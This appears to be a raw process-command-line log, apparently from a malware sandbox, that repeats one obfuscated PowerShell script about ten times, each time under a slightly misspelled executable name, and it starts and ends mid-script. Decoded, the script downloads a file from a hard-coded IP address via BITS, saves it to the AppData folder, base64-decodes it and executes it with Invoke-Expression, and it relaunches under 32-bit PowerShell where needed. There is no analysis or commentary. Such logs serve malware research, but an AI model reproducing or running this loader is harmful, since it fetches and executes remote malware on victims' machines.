');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powerswell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powers|ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersmell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powerslell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersjell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powerskell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P 